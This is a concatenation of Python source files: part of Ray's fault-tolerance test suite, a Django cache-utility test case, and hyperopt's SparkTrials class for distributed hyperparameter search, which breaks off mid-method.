def test_actor_worker_dying(ray_start_regular):
@ray.remote
class Actor(object):
def kill(self):
eval("exit()")
@ray.remote
def consume(x):
pass
a = Actor.remote()
[obj], _ = ray.wait([a.kill.remote()], timeout=5.0)
with pytest.raises(ray.exceptions.RayActorError):
ray.get(obj)
with pytest.raises(ray.exceptions.RayTaskError):
ray.get(consume.remote(obj))
wait_for_errors(ray_constants.WORKER_DIED_PUSH_ERROR, 1)
def test_actor_worker_dying_future_tasks(ray_start_regular):
@ray.remote
class Actor(object):
def getpid(self):
return os.getpid()
def sleep(self):
time.sleep(1)
a = Actor.remote()
pid = ray.get(a.getpid.remote())
tasks1 = [a.sleep.remote() for _ in range(10)]
os.kill(pid, 9)
time.sleep(0.1)
tasks2 = [a.sleep.remote() for _ in range(10)]
for obj in tasks1 + tasks2:
with pytest.raises(Exception):
ray.get(obj)
wait_for_errors(ray_constants.WORKER_DIED_PUSH_ERROR, 1)
def test_actor_worker_dying_nothing_in_progress(ray_start_regular):
@ray.remote
class Actor(object):
def getpid(self):
return os.getpid()
a = Actor.remote()
pid = ray.get(a.getpid.remote())
os.kill(pid, 9)
time.sleep(0.1)
task2 = a.getpid.remote()
with pytest.raises(Exception):
ray.get(task2)
def test_actor_scope_or_intentionally_killed_message(ray_start_regular):
@ray.remote
class Actor(object):
pass
a = Actor.remote()
a = Actor.remote()
a.__ray_terminate__.remote()
time.sleep(1)
assert len(
ray.errors()) == 0, ("Should not have propogated an error - {}".format(
ray.errors()))
@pytest.mark.skip("This test does not work yet.")
@pytest.mark.parametrize(
"ray_start_object_store_memory", [10**6], indirect=True)
def test_put_error1(ray_start_object_store_memory):
num_objects = 3
object_size = 4 * 10**5
# Define a task with a single dependency, a numpy array, that returns
# another array.
@ray.remote
def single_dependency(i, arg):
arg = np.copy(arg)
arg[0] = i
return arg
@ray.remote
def put_arg_task():
# Launch num_objects instances of the remote task, each dependent
# on the one before it. The result of the first task should get
# evicted.
args = []
arg = single_dependency.remote(0, np.zeros(
object_size, dtype=np.uint8))
for i in range(num_objects):
arg = single_dependency.remote(i, arg)
args.append(arg)
# Get the last value to force all tasks to finish.
value = ray.get(args[-1])
assert value[0] == i
# Get the first value (which should have been evicted) to force
# reconstruction. Currently, since we're not able to reconstruct
# `ray.put` objects that were evicted and whose originating tasks
# are still running, this for-loop should hang and push an error to
# the driver.
ray.get(args[0])
put_arg_task.remote()
# Make sure we receive the correct error message.
wait_for_errors(ray_constants.PUT_RECONSTRUCTION_PUSH_ERROR, 1)
@pytest.mark.skip("This test does not work yet.")
@pytest.mark.parametrize(
"ray_start_object_store_memory", [10**6], indirect=True)
def test_put_error2(ray_start_object_store_memory):
# This is the same as the previous test, but it calls ray.put directly.
num_objects = 3
object_size = 4 * 10**5
# Define a task with a single dependency, a numpy array, that returns
# another array.
@ray.remote
def single_dependency(i, arg):
arg = np.copy(arg)
arg[0] = i
return arg
@ray.remote
def put_task():
# Launch num_objects instances of the remote task, each dependent
# on the one before it. The result of the first task should get
# evicted.
args = []
arg = ray.put(np.zeros(object_size, dtype=np.uint8))
for i in range(num_objects):
arg = single_dependency.remote(i, arg)
args.append(arg)
# Get the last value to force all tasks to finish.
value = ray.get(args[-1])
assert value[0] == i
# Get the first value (which should have been evicted) to force
# reconstruction. Currently, since we're not able to reconstruct
# `ray.put` objects that were evicted and whose originating tasks
# are still running, this for-loop should hang and push an error to
# the driver.
ray.get(args[0])
put_task.remote()
# Make sure we receive the correct error message.
wait_for_errors(ray_constants.PUT_RECONSTRUCTION_PUSH_ERROR, 1)
def test_version_mismatch(shutdown_only):
ray_version = ray.__version__
ray.__version__ = "fake ray version"
ray.init(num_cpus=1)
wait_for_errors(ray_constants.VERSION_MISMATCH_PUSH_ERROR, 1)
# Reset the version.
ray.__version__ = ray_version
def test_warning_monitor_died(ray_start_2_cpus):
@ray.remote
def f():
pass
# Wait for the monitor process to start.
ray.get(f.remote())
time.sleep(1)
# Cause the monitor to raise an exception by pushing a malformed message to
# Redis. This will probably kill the raylet and the raylet_monitor in
# addition to the monitor.
fake_id = 20 * b"\x00"
malformed_message = "asdf"
redis_client = ray.worker.global_worker.redis_client
redis_client.execute_command(
"RAY.TABLE_ADD", ray.gcs_utils.TablePrefix.Value("HEARTBEAT_BATCH"),
ray.gcs_utils.TablePubsub.Value("HEARTBEAT_BATCH_PUBSUB"), fake_id,
malformed_message)
wait_for_errors(ray_constants.MONITOR_DIED_ERROR, 1)
def test_export_large_objects(ray_start_regular):
import ray.ray_constants as ray_constants
large_object = np.zeros(2 * ray_constants.PICKLE_OBJECT_WARNING_SIZE)
@ray.remote
def f():
large_object
# Invoke the function so that the definition is exported.
f.remote()
# Make sure that a warning is generated.
wait_for_errors(ray_constants.PICKLING_LARGE_OBJECT_PUSH_ERROR, 1)
@ray.remote
class Foo(object):
def __init__(self):
large_object
Foo.remote()
# Make sure that a warning is generated.
wait_for_errors(ray_constants.PICKLING_LARGE_OBJECT_PUSH_ERROR, 2)
@pytest.mark.skipif(RAY_FORCE_DIRECT, reason="TODO detect resource deadlock")
def test_warning_for_resource_deadlock(shutdown_only):
# Check that we get warning messages for infeasible tasks.
ray.init(num_cpus=1)
@ray.remote(num_cpus=1)
class Foo(object):
def f(self):
return 0
@ray.remote
def f():
# Creating both actors is not possible.
actors = [Foo.remote() for _ in range(2)]
for a in actors:
ray.get(a.f.remote())
# Run in a task to check we handle the blocked task case correctly
f.remote()
wait_for_errors(ray_constants.RESOURCE_DEADLOCK_ERROR, 1, timeout=30)
def test_warning_for_infeasible_tasks(ray_start_regular):
# Check that we get warning messages for infeasible tasks.
@ray.remote(num_gpus=1)
def f():
pass
@ray.remote(resources={"Custom": 1})
class Foo(object):
pass
# This task is infeasible.
f.remote()
wait_for_errors(ray_constants.INFEASIBLE_TASK_ERROR, 1)
# This actor placement task is infeasible.
Foo.remote()
wait_for_errors(ray_constants.INFEASIBLE_TASK_ERROR, 2)
def test_warning_for_infeasible_zero_cpu_actor(shutdown_only):
# Check that we cannot place an actor on a 0 CPU machine and that we get an
# infeasibility warning (even though the actor creation task itself
# requires no CPUs).
ray.init(num_cpus=0)
@ray.remote
class Foo(object):
pass
# The actor creation should be infeasible.
Foo.remote()
wait_for_errors(ray_constants.INFEASIBLE_TASK_ERROR, 1)
def test_warning_for_too_many_actors(shutdown_only):
# Check that if we run a workload which requires too many workers to be
# started that we will receive a warning.
num_cpus = 2
ray.init(num_cpus=num_cpus)
@ray.remote
class Foo(object):
def __init__(self):
time.sleep(1000)
[Foo.remote() for _ in range(num_cpus * 3)]
wait_for_errors(ray_constants.WORKER_POOL_LARGE_ERROR, 1)
[Foo.remote() for _ in range(num_cpus)]
wait_for_errors(ray_constants.WORKER_POOL_LARGE_ERROR, 2)
def test_warning_for_too_many_nested_tasks(shutdown_only):
# Check that if we run a workload which requires too many workers to be
# started that we will receive a warning.
num_cpus = 2
ray.init(num_cpus=num_cpus)
@ray.remote
def f():
time.sleep(1000)
return 1
@ray.remote
def h():
time.sleep(1)
ray.get(f.remote())
@ray.remote
def g():
# Sleep so that the f tasks all get submitted to the scheduler after
# the g tasks.
time.sleep(1)
ray.get(h.remote())
[g.remote() for _ in range(num_cpus * 4)]
wait_for_errors(ray_constants.WORKER_POOL_LARGE_ERROR, 1)
@pytest.mark.skipif(
sys.version_info < (3, 0), reason="This test requires Python 3.")
def test_warning_for_many_duplicate_remote_functions_and_actors(shutdown_only):
ray.init(num_cpus=1)
@ray.remote
def create_remote_function():
@ray.remote
def g():
return 1
return ray.get(g.remote())
for _ in range(ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD - 1):
ray.get(create_remote_function.remote())
import io
log_capture_string = io.StringIO()
ch = logging.StreamHandler(log_capture_string)
# TODO(rkn): It's terrible to have to rely on this implementation detail,
# the fact that the warning comes from ray.import_thread.logger. However,
# I didn't find a good way to capture the output for all loggers
# simultaneously.
ray.import_thread.logger.addHandler(ch)
ray.get(create_remote_function.remote())
start_time = time.time()
while time.time() < start_time + 10:
log_contents = log_capture_string.getvalue()
if len(log_contents) > 0:
break
ray.import_thread.logger.removeHandler(ch)
assert "remote function" in log_contents
assert "has been exported {} times.".format(
ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD) in log_contents
# Now test the same thing but for actors.
@ray.remote
def create_actor_class():
# Require a GPU so that the actor is never actually created and we
# don't spawn an unreasonable number of processes.
@ray.remote(num_gpus=1)
class Foo(object):
pass
Foo.remote()
for _ in range(ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD - 1):
ray.get(create_actor_class.remote())
log_capture_string = io.StringIO()
ch = logging.StreamHandler(log_capture_string)
# TODO(rkn): As mentioned above, it's terrible to have to rely on this
# implementation detail.
ray.import_thread.logger.addHandler(ch)
ray.get(create_actor_class.remote())
start_time = time.time()
while time.time() < start_time + 10:
log_contents = log_capture_string.getvalue()
if len(log_contents) > 0:
break
ray.import_thread.logger.removeHandler(ch)
assert "actor" in log_contents
assert "has been exported {} times.".format(
ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD) in log_contents
def test_redis_module_failure(ray_start_regular):
address_info = ray_start_regular
address = address_info["redis_address"]
address = address.split(":")
assert len(address) == 2
def run_failure_test(expecting_message, *command):
with pytest.raises(
Exception, match=".*{}.*".format(expecting_message)):
client = redis.StrictRedis(host=address[0], port=int(address[1]))
client.execute_command(*command)
def run_one_command(*command):
client = redis.StrictRedis(host=address[0], port=int(address[1]))
client.execute_command(*command)
run_failure_test("wrong number of arguments", "RAY.TABLE_ADD", 13)
run_failure_test("Prefix must be in the TablePrefix range",
"RAY.TABLE_ADD", 100000, 1, 1, 1)
run_failure_test("Prefix must be in the TablePrefix range",
"RAY.TABLE_REQUEST_NOTIFICATIONS", 100000, 1, 1, 1)
run_failure_test("Prefix must be a valid TablePrefix integer",
"RAY.TABLE_ADD", b"a", 1, 1, 1)
run_failure_test("Pubsub channel must be in the TablePubsub range",
"RAY.TABLE_ADD", 1, 10000, 1, 1)
run_failure_test("Pubsub channel must be a valid integer", "RAY.TABLE_ADD",
1, b"a", 1, 1)
# Change the key from 1 to 2, since the previous command should have
# succeeded at writing the key, but not publishing it.
run_failure_test("Index is less than 0.", "RAY.TABLE_APPEND", 1, 1, 2, 1,
-1)
run_failure_test("Index is not a number.", "RAY.TABLE_APPEND", 1, 1, 2, 1,
b"a")
run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1)
# It's okay to add duplicate entries.
run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1)
run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1, 0)
run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1, 1)
run_one_command("RAY.SET_ADD", 1, 1, 3, 1)
# It's okey to add duplicate entries.
run_one_command("RAY.SET_ADD", 1, 1, 3, 1)
run_one_command("RAY.SET_REMOVE", 1, 1, 3, 1)
# It's okey to remove duplicate entries.
run_one_command("RAY.SET_REMOVE", 1, 1, 3, 1)
# Note that this test will take at least 10 seconds because it must wait for
# the monitor to detect enough missed heartbeats.
def test_warning_for_dead_node(ray_start_cluster_2_nodes):
cluster = ray_start_cluster_2_nodes
cluster.wait_for_nodes()
node_ids = {item["NodeID"] for item in ray.nodes()}
# Try to make sure that the monitor has received at least one heartbeat
# from the node.
time.sleep(0.5)
# Kill both raylets.
cluster.list_all_nodes()[1].kill_raylet()
cluster.list_all_nodes()[0].kill_raylet()
# Check that we get warning messages for both raylets.
wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 2, timeout=40)
# Extract the client IDs from the error messages. This will need to be
# changed if the error message changes.
warning_node_ids = {
item["message"].split(" ")[5]
for item in relevant_errors(ray_constants.REMOVED_NODE_ERROR)
}
assert node_ids == warning_node_ids
def test_raylet_crash_when_get(ray_start_regular):
def sleep_to_kill_raylet():
# Don't kill raylet before default workers get connected.
time.sleep(2)
ray.worker._global_node.kill_raylet()
thread = threading.Thread(target=sleep_to_kill_raylet)
thread.start()
with pytest.raises(ray.exceptions.UnreconstructableError):
ray.get(ray.ObjectID.from_random())
thread.join()
def test_connect_with_disconnected_node(shutdown_only):
config = json.dumps({
"num_heartbeats_timeout": 50,
"raylet_heartbeat_timeout_milliseconds": 10,
})
cluster = Cluster()
cluster.add_node(num_cpus=0, _internal_config=config)
ray.init(address=cluster.address)
info = relevant_errors(ray_constants.REMOVED_NODE_ERROR)
assert len(info) == 0
# This node is killed by SIGKILL, ray_monitor will mark it to dead.
dead_node = cluster.add_node(num_cpus=0, _internal_config=config)
cluster.remove_node(dead_node, allow_graceful=False)
wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 1, timeout=2)
# This node is killed by SIGKILL, ray_monitor will mark it to dead.
dead_node = cluster.add_node(num_cpus=0, _internal_config=config)
cluster.remove_node(dead_node, allow_graceful=False)
wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 2, timeout=2)
# This node is killed by SIGTERM, ray_monitor will not mark it again.
removing_node = cluster.add_node(num_cpus=0, _internal_config=config)
cluster.remove_node(removing_node, allow_graceful=True)
with pytest.raises(RayTestTimeoutException):
wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 3, timeout=2)
# There is no connection error to a dead node.
info = relevant_errors(ray_constants.RAYLET_CONNECTION_ERROR)
assert len(info) == 0
@pytest.mark.parametrize(
"ray_start_cluster_head", [{
"num_cpus": 5,
"object_store_memory": 10**8
}],
indirect=True)
@pytest.mark.parametrize("num_actors", [1, 2, 5])
def test_parallel_actor_fill_plasma_retry(ray_start_cluster_head, num_actors):
@ray.remote
class LargeMemoryActor(object):
def some_expensive_task(self):
return np.zeros(10**8 // 2, dtype=np.uint8)
actors = [LargeMemoryActor.remote() for _ in range(num_actors)]
for _ in range(10):
pending = [a.some_expensive_task.remote() for a in actors]
while pending:
[done], pending = ray.wait(pending, num_returns=1)
@pytest.mark.parametrize(
"ray_start_cluster_head", [{
"num_cpus": 2,
"object_store_memory": 10**8
}],
indirect=True)
def test_fill_object_store_exception(ray_start_cluster_head):
@ray.remote
class LargeMemoryActor(object):
def some_expensive_task(self):
return np.zeros(10**8 + 2, dtype=np.uint8)
def test(self):
return 1
actor = LargeMemoryActor.remote()
with pytest.raises(ray.exceptions.RayTaskError):
ray.get(actor.some_expensive_task.remote())
# Make sure actor does not die
ray.get(actor.test.remote())
with pytest.raises(ray.exceptions.ObjectStoreFullError):
ray.put(np.zeros(10**8 + 2, dtype=np.uint8))
@pytest.mark.skipif(
not RAY_FORCE_DIRECT,
reason="raylet path attempts reconstruction for evicted objects")
@pytest.mark.parametrize(
"ray_start_cluster", [{
"num_nodes": 1,
"num_cpus": 2,
}, {
"num_nodes": 2,
"num_cpus": 1,
}],
indirect=True)
def test_direct_call_eviction(ray_start_cluster):
@ray.remote
def large_object():
return np.zeros(10 * 1024 * 1024)
obj = large_object.remote()
assert (isinstance(ray.get(obj), np.ndarray))
# Evict the object.
ray.internal.free([obj])
while ray.worker.global_worker.core_worker.object_exists(obj):
time.sleep(1)
# ray.get throws an exception.
with pytest.raises(ray.exceptions.UnreconstructableError):
ray.get(obj)
@ray.remote
def dependent_task(x):
return
# If the object is passed by reference, the task throws an
# exception.
with pytest.raises(ray.exceptions.RayTaskError):
ray.get(dependent_task.remote(obj))
@pytest.mark.skipif(
not RAY_FORCE_DIRECT,
reason="raylet path attempts reconstruction for evicted objects")
@pytest.mark.parametrize(
"ray_start_cluster", [{
"num_nodes": 1,
"num_cpus": 2,
}, {
"num_nodes": 2,
"num_cpus": 1,
}],
indirect=True)
def test_direct_call_serialized_id_eviction(ray_start_cluster):
@ray.remote
def large_object():
return np.zeros(10 * 1024 * 1024)
@ray.remote
def get(obj_ids):
print("get", obj_ids)
obj_id = obj_ids[0]
assert (isinstance(ray.get(obj_id), np.ndarray))
# Evict the object.
ray.internal.free(obj_ids)
while ray.worker.global_worker.core_worker.object_exists(obj_id):
time.sleep(1)
with pytest.raises(ray.exceptions.UnreconstructableError):
ray.get(obj_id)
print("get done", obj_ids)
obj = large_object.remote()
ray.get(get.remote([obj]))
@pytest.mark.parametrize(
"ray_start_cluster", [{
"num_nodes": 2,
"num_cpus": 1,
}, {
"num_nodes": 1,
"num_cpus": 2,
}],
indirect=True)
def test_serialized_id(ray_start_cluster):
@ray.remote
def small_object():
# Sleep a bit before creating the object to force a timeout
# at the getter.
time.sleep(1)
return 1
@ray.remote
def dependent_task(x):
return x
@ray.remote
def get(obj_ids, test_dependent_task):
print("get", obj_ids)
obj_id = obj_ids[0]
if test_dependent_task:
assert ray.get(dependent_task.remote(obj_id)) == 1
else:
assert ray.get(obj_id) == 1
obj = small_object.remote()
ray.get(get.remote([obj], False))
obj = small_object.remote()
ray.get(get.remote([obj], True))
obj = ray.put(1)
ray.get(get.remote([obj], False))
obj = ray.put(1)
ray.get(get.remote([obj], True))
if __name__ == "__main__":
import pytest
sys.exit(pytest.main(["-v", __file__]))
|
cache.py
|
import time
import threading
from django.conf import settings
from django.core.cache import cache
from djutils.cache import key_from_args, cached_filter, CachedNode
from djutils.test import TestCase
from djutils.tests.cache_backend import CacheClass
class CacheUtilsTestCase(TestCase):
def setUp(self):
cache.clear()
def test_cache_works(self):
from django.core.cache import cache
self.assertTrue(type(cache) is CacheClass)
def test_key_from_args_collisions(self):
self.assertNotEqual(key_from_args('test'), key_from_args('Test'))
self.assertNotEqual(key_from_args('testtest'), key_from_args('test', 'test'))
self.assertNotEqual(key_from_args('test\x01test'), key_from_args('test', 'test'))
self.assertNotEqual(key_from_args('a', b='b', c='c'), key_from_args('a', 'c', b='b'))
def test_key_from_args(self):
self.assertEqual(key_from_args('test', 'one', 'two'), key_from_args('test', 'one', 'two'))
self.assertEqual(key_from_args('a', b='b', c='c'), key_from_args('a', c='c', b='b'))
def test_cached_filter(self):
key_default = key_from_args('testing',)
@cached_filter
def test_filter(value, param=None):
return (value, param)
res = test_filter('testing')
self.assertTrue(key_default in cache._cache)
self.assertEqual(cache._cache[key_default], ('testing', None))
cache._cache[key_default] = 'from cache'
res = test_filter('testing')
self.assertEqual(res, 'from cache')
res = test_filter('testing', None)
self.assertEqual(res, ('testing', None))
res = test_filter('')
self.assertEqual(res, ('', None))
def test_cached_node(self):
class TestSafeCachedNode(CachedNode):
def get_cache_key(self, context):
return key_from_args(**context)
def get_content(self, context):
return context
test_node = TestSafeCachedNode()
context = {'a': 'A'}
key = test_node.get_cache_key(context)
repopulating = test_node.repopulating_key(key)
# check that object is cached under the expected key
res = test_node.render({'a': 'A'})
self.assertTrue(key in cache._cache)
# check that the correct data is stored in cache
cached_context, stale = cache._cache[key]
self.assertEqual(cached_context, context)
# manually alter the cached data to check if it is served
cache._cache[key] = ({'b': 'B'}, stale)
# ensure that the cached data is served
res = test_node.render(context)
self.assertEqual(res, {'b': 'B'})
# forcing repopulation results in new data
cache._cache[key] = ({'b': 'B'}, 0)
res = test_node.render(context)
self.assertEqual(res, context)
# we will get old results if data is stale and another request is
# currently repopulating cache
cache.set(repopulating, 1)
cache._cache[key] = ({'c': 'C'}, 0)
self.assertTrue(test_node.is_repopulating(key))
res = test_node.render(context)
self.assertEqual(res, {'c': 'C'})
# simulate our data expiring while another (possibly the first?) request
# initiates a call to get_content()
cache.delete(key)
# because the node is aggressive and doesn't use a spin lock, it will
# force another call to get_content
res = test_node.render(context)
self.assertEqual(res, context)
# the cache will be marked as no longer repopulating
self.assertFalse(test_node.is_repopulating(key))
# so make it think its repopulating again and remove the key
cache.set(repopulating, 1)
cache.delete(key)
# check that when aggressive is off, an empty string is returned if
# another thread is already repopulating and the data is gone
test_node.aggressive = False
res = test_node.render(context)
self.assertEqual(res, '')
# lastly, mark as aggressive and use a spin lock
test_node.aggressive = True
test_node.use_spin_lock = True
test_node.backoff = (0.1, 2.0, 0.5) # starting w/ .1s, double timeout up to .5s
# waste some time in a separate thread and repopulate the cache there
def waste_time():
time.sleep(.08)
cache.delete(repopulating)
cache._cache[key] = ({'D': 'd'}, 0)
# start the thread
time_waster = threading.Thread(target=waste_time)
time_waster.start()
# this is janky, but check that the spin lock spins for just one loop
start = time.time()
res = test_node.render(context)
end = time.time()
# self.assertTrue(.1 < end - start < .15)
self.assertEqual(res, {'D': 'd'})
|
spark.py
|
import copy
import threading
import time
import timeit
import traceback
from hyperopt import base, fmin, Trials
from hyperopt.base import validate_timeout, validate_loss_threshold
from hyperopt.utils import coarse_utcnow, _get_logger, _get_random_id
try:
from pyspark.sql import SparkSession
_have_spark = True
except ImportError as e:
_have_spark = False
logger = _get_logger("hyperopt-spark")
class SparkTrials(Trials):
"""
Implementation of hyperopt.Trials supporting
distributed execution using Apache Spark clusters.
This requires fmin to be run on a Spark cluster.
Plugging SparkTrials into hyperopt.fmin() allows hyperopt
to send model training and evaluation tasks to Spark workers,
parallelizing hyperparameter search.
Each trial (set of hyperparameter values) is handled within
a single Spark task; i.e., each model will be fit and evaluated
on a single worker machine. Trials are run asynchronously.
See hyperopt.Trials docs for general information about Trials.
The fields we store in our trial docs match the base Trials class. The fields include:
- 'tid': trial ID
- 'state': JOB_STATE_DONE, JOB_STATE_ERROR, etc.
- 'result': evaluation result for completed trial run
- 'refresh_time': timestamp for last status update
- 'misc': includes:
- 'error': (error type, error message)
- 'book_time': timestamp for trial run start
"""
asynchronous = True
# Hard cap on the number of concurrent hyperopt tasks (Spark jobs) to run. Set at 128.
MAX_CONCURRENT_JOBS_ALLOWED = 128
def __init__(
self, parallelism=None, timeout=None, loss_threshold=None, spark_session=None
):
"""
:param parallelism: Maximum number of parallel trials to run,
i.e., maximum number of concurrent Spark tasks.
The actual parallelism is subject to available Spark task slots at
runtime.
If set to None (default) or a non-positive value, this will be set to
Spark's default parallelism, or the current total of Spark task slots,
or `1`, whichever is greater.
We cap the value at `MAX_CONCURRENT_JOBS_ALLOWED=128`.
:param timeout: Maximum time (in seconds) which fmin is allowed to take.
If this timeout is hit, then fmin will cancel running and proposed trials.
It will retain all completed trial runs and return the best result found
so far.
:param spark_session: A SparkSession object. If None is passed, SparkTrials will attempt
to use an existing SparkSession or create a new one. SparkSession is
the entry point for various facilities provided by Spark. For more
information, visit the documentation for PySpark.
"""
super().__init__(exp_key=None, refresh=False)
if not _have_spark:
raise Exception(
"SparkTrials cannot import pyspark classes. Make sure that PySpark "
"is available in your environment. E.g., try running 'import pyspark'"
)
validate_timeout(timeout)
validate_loss_threshold(loss_threshold)
self._spark = (
SparkSession.builder.getOrCreate()
if spark_session is None
else spark_session
)
self._spark_context = self._spark.sparkContext
# The feature to support controlling jobGroupIds is in SPARK-22340
self._spark_supports_job_cancelling = hasattr(
self._spark_context.parallelize([1]), "collectWithJobGroup"
)
# maxNumConcurrentTasks() is a package private API
max_num_concurrent_tasks = self._spark_context._jsc.sc().maxNumConcurrentTasks()
spark_default_parallelism = self._spark_context.defaultParallelism
self.parallelism = self._decide_parallelism(
requested_parallelism=parallelism,
spark_default_parallelism=spark_default_parallelism,
max_num_concurrent_tasks=max_num_concurrent_tasks,
)
if not self._spark_supports_job_cancelling and timeout is not None:
logger.warning(
"SparkTrials was constructed with a timeout specified, but this Apache "
"Spark version does not support job group-based cancellation. The "
"timeout will be respected when starting new Spark jobs, but "
"SparkTrials will not be able to cancel running Spark jobs which exceed"
" the timeout."
)
self.timeout = timeout
self.loss_threshold = loss_threshold
self._fmin_cancelled = False
self._fmin_cancelled_reason = None
self.refresh()
@staticmethod
def _decide_parallelism(
requested_parallelism, spark_default_parallelism, max_num_concurrent_tasks
):
"""
Given the requested parallelism, return the max parallelism SparkTrials will actually use.
See the docstring for `parallelism` in the constructor for expected behavior.
"""
if max_num_concurrent_tasks == 0:
logger.warning(
"The cluster has no executors currently. "
"The trials won't start until some new executors register."
)
if requested_parallelism is None or requested_parallelism <= 0:
parallelism = max(spark_default_parallelism, max_num_concurrent_tasks, 1)
logger.warning(
"Because the requested parallelism was None or a non-positive value, "
"parallelism will be set to ({d}), which is Spark's default parallelism ({s}), "
"or the current total of Spark task slots ({t}), or 1, whichever is greater. "
"We recommend setting parallelism explicitly to a positive value because "
"the total of Spark task slots is subject to cluster sizing.".format(
d=parallelism,
s=spark_default_parallelism,
t=max_num_concurrent_tasks,
)
)
else:
parallelism = requested_parallelism
if parallelism > SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED:
logger.warning(
"Parallelism ({p}) is capped at SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED ({c}).".format(
p=parallelism, c=SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED
)
)
parallelism = SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED
if parallelism > max_num_concurrent_tasks:
logger.warning(
"Parallelism ({p}) is greater than the current total of Spark task slots ({c}). "
"If dynamic allocation is enabled, you might see more executors allocated.".format(
p=requested_parallelism, c=max_num_concurrent_tasks
)
)
return parallelism
def count_successful_trials(self):
"""
Returns the current number of trials which ran successfully
"""
return self.count_by_state_unsynced(base.JOB_STATE_DONE)
def count_failed_trials(self):
"""
Returns the current number of trial runs which failed
"""
return self.count_by_state_unsynced(base.JOB_STATE_ERROR)
def count_cancelled_trials(self):
"""
Returns the current number of cancelled trial runs.
This covers trials which are cancelled from exceeding the timeout.
"""
return self.count_by_state_unsynced(base.JOB_STATE_CANCEL)
def count_total_trials(self):
"""
Returns the current number of all successful, failed, and cancelled trial runs
"""
total_states = [
base.JOB_STATE_DONE,
base.JOB_STATE_ERROR,
base.JOB_STATE_CANCEL,
]
return self.count_by_state_unsynced(total_states)
def delete_all(self):
"""
Reset the Trials to init state
"""
super().delete_all()
self._fmin_cancelled = False
self._fmin_cancelled_reason = None
def trial_attachments(self, trial):
raise NotImplementedError("SparkTrials does not support trial attachments.")
def fmin(
self,
fn,
space,
algo,
max_evals,
timeout,
loss_threshold,
max_queue_len,
rstate,
verbose,
pass_expr_memo_ctrl,
catch_eval_exceptions,
return_argmin,
show_progressbar,
early_stop_fn,
trials_save_file="",
):
"""
This should not be called directly but is called via :func:`hyperopt.fmin`
Refer to :func:`hyperopt.fmin` for docs on each argument
"""
if timeout is not None:
if self.timeout is not None:
logger.warning(
"Timeout param was defined in Trials object, ignoring fmin definition"
)
else:
validate_timeout(timeout)
self.timeout = timeout
if loss_threshold is not None:
validate_loss_threshold(loss_threshold)
self.loss_threshold = loss_threshold
assert (
not pass_expr_memo_ctrl
), "SparkTrials does not support `pass_expr_memo_ctrl`"
assert (
not catch_eval_exceptions
), "SparkTrials does not support `catch_eval_exceptions`"
state = _SparkFMinState(self._spark, fn, space, self)
# Will launch a dispatcher thread which runs each trial task as one spark job.
state.launch_dispatcher()
try:
res = fmin(
fn,
space,
algo,
max_evals,
timeout=timeout,
loss_threshold=loss_threshold,
max_queue_len=max_queue_len,
trials=self,
allow_trials_fmin=False, # -- prevent recursion
rstate=rstate,
pass_expr_memo_ctrl=None, # not supported
catch_eval_exceptions=catch_eval_exceptions,
verbose=verbose,
return_argmin=return_argmin,
points_to_evaluate=None, # not supported
show_progressbar=show_progressbar,
early_stop_fn=early_stop_fn,
trials_save_file="", # not supported
)
except BaseException as e:
logger.debug("fmin thread exits with an exception raised.")
raise e
else:
logger.debug("fmin thread exits normally.")
return res
finally:
state.wait_for_all_threads()
logger.info(
"Total Trials: {t}: {s} succeeded, {f} failed, {c} cancelled.".format(
t=self.count_total_trials(),
s=self.count_successful_trials(),
f=self.count_failed_trials(),
c=self.count_cancelled_trials(),
)
)
class _SparkFMinState:
"""
Class for managing threads which run concurrent Spark jobs.
This maintains a primary dispatcher thread, plus 1 thread per Hyperopt trial.
Each trial's thread runs 1 Spark job with 1 task.
"""
def __init__(self, spark, eval_function, space, trials):
self.spark = spark
self.eval_function = eval_function
self.space = space
self.trials = trials
self._fmin_done = False
self._dispatcher_thread = None
self._task_threads = set()
if self.trials._spark_supports_job_cancelling:
spark_context = spark.sparkContext
self._job_group_id = spark_context.getLocalProperty("spark.jobGroup.id")
self._job_desc = spark_context.getLocalProperty("spark.job.description")
interrupt_on_cancel = spark_context.getLocalProperty(
"spark.job.interruptOnCancel"
)
if interrupt_on_cancel is None:
self._job_interrupt_on_cancel = False
else:
self._job_interrupt_on_cancel = "true" == interrupt_on_cancel.lower()
# In certain Spark deployments, the local property "spark.jobGroup.id"
# value is None, so we create one to use for SparkTrials.
if self._job_group_id is None:
self._job_group_id = "Hyperopt_SparkTrials_" + _get_random_id()
if self._job_desc is None:
self._job_desc = "Trial evaluation jobs launched by hyperopt fmin"
logger.debug(
"Job group id: {g}, job desc: {d}, job interrupt on cancel: {i}".format(
g=self._job_group_id,
d=self._job_desc,
i=self._job_interrupt_on_cancel,
)
)
def running_trial_count(self):
return self.trials.count_by_state_unsynced(base.JOB_STATE_RUNNING)
@staticmethod
def _begin_trial_run(trial):
trial["state"] = base.JOB_STATE_RUNNING
now = coarse_utcnow()
trial["book_time"] = now
trial["refresh_time"] = now
logger.debug("trial task {tid} started".format(tid=trial["tid"]))
@staticmethod
def _get_traceback(err):
return err.__dict__.get("_tb_str")
def _finish_trial_run(self, is_success, is_cancelled, trial, data):
"""
Call this method when a trial evaluation finishes. It will save results to the
trial object and update task counters.
:param is_success: whether the trial succeeded
:param is_cancelled: whether the trial was cancelled
:param data: If the trial succeeded, this is the return value from the trial
task function. Otherwise, this is the exception raised when running the trial
task.
"""
if is_cancelled:
logger.debug(
"trial task {tid} cancelled, exception is {e}".format(
tid=trial["tid"], e=str(data)
)
)
self._write_cancellation_back(trial, e=data)
elif is_success:
logger.debug(
"trial task {tid} succeeded, result is {r}".format(
tid=trial["tid"], r=data
)
)
self._write_result_back(trial, result=data)
else:
logger.error(
"trial task {tid} failed, exception is {e}.\n {tb}".format(
tid=trial["tid"], e=str(data), tb=self._get_traceback(data)
)
)
